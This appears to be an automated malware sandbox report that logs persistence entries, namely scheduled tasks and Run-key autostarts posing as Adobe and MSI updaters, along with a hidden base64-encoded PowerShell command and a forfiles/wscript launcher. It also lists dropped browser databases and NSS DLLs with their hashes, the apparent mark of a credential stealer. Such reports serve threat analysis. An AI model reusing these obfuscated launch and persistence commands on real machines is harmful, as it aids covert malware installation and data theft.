12:42:55	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
12:42:57	Task Scheduler	Run new task: bYlzWkmxSztjCAXjCj path: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe s>gm /TGqdidiPYW 525403 /S
12:42:57	Task Scheduler	Run new task: MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR path: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe
12:42:58	Task Scheduler	Run new task: MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG path: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe
12:43:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
12:43:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe
12:43:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
12:43:26	Task Scheduler	Run new task: gssxcRDAr path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
12:43:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe
12:43:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
12:43:41	Task Scheduler	Run new task: UpYTxgFPeljaHKgbb path: C:\Windows\Temp\xowWNLtGWEWdmLUC\LcFlqeukayuOpyB\cjtqmTl.exe s>Wq /VykAdidbp 525403 /S
12:43:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe
12:44:02	Task Scheduler	Run new task: ffJznYXKoPkMk2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\ASdssLgxqXycWiVB\tuhhAJj.wsf^""

Process:	C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85", baseline, precision 8, 600x800, components 3
Category:	dropped
Size (bytes):	1314921
Entropy (8bit):	7.705012462230789
Encrypted:	false
SSDEEP:	24576:tgu8Ycd7q6zHe/+tAtact/WP5s6VVg7kiTYD20Z0Jzmlr7hKg91h+N4VdxGtHKaO:r8Bu6jeTAcNmspkiTYh2zmlr7hT91hoG
MD5:	9D96CB461C523A26D3A91875A15C7E2D
SHA1:	C79420E9D5FE1AC549538CB610F8B673D3165F4C
SHA-256:	601D955F08A497A66EB78EC6BB8BA1E9576D612D7E69A8D469CAA1E18185256A
SHA-512:	FE93E4A3FE4BD8C1E4AFA49FE9DDDC407E57C9339E513ABBA7686428CA5B2A07E1B0195BF15A8CB549935B4310FF89B6232E5EFBE0F03D33EAE85C6B6F624ABB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85....C..............................................!........."$".$.......C....................................................................... .X.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...........:.2.C$0)..%..!....2.\........l.&;........2G.Z..r85...+....l.' +D.P9..b..R..2.....r^(...+.=....U.uy=...E.+. ....,.2#_..9..d.{..(.b.....;SHA.Q.....E..t..Z?...E-...R..P.QK.Q@.E-%..R.%.(c2K"F..1....+.o.x}$1E.Ey7x.......1..15..../.j..4......`..n.Y...J..zu.....R?.....m..L.

C:\ProgramData\AEBKKECB

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAFBGHCAKKFCAKEBKJKK

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFIDAA

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFIDAAEHIEGCBFIDBFHCGDAK

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\AFCBFI

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\CGDBGC

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0672612876759877
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYvUbn6:QrzWMffVnzkkqtXnTK+hNH+5EVum/r
MD5:	F5AC50EB9CDE56AB713B7EE67F96047A
SHA1:	F214C477123122CD42536A314B8F68BE480ACAF0
SHA-256:	A52B7ABA0AB670EBFE69FC318DE0F46B94827FBD05A73C914D11D12F11090B4D
SHA-512:	B58C1242FE33CE76F35C2E2F9E30E2795046E56897CF73DDE22F604DCD38DB8C4E854DA96C2843741CAB1A2C75BF838A58664A9F2574304987CCD8E871BB5B1C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\DGCGDB

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\DGCGDB-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\DHIDHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\EBAKFI

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\ECAFHD

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\ECAFHD-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\EGDGDH

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\HJDAKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	modified
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECAKKKKJDBKK\KJJJDH

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
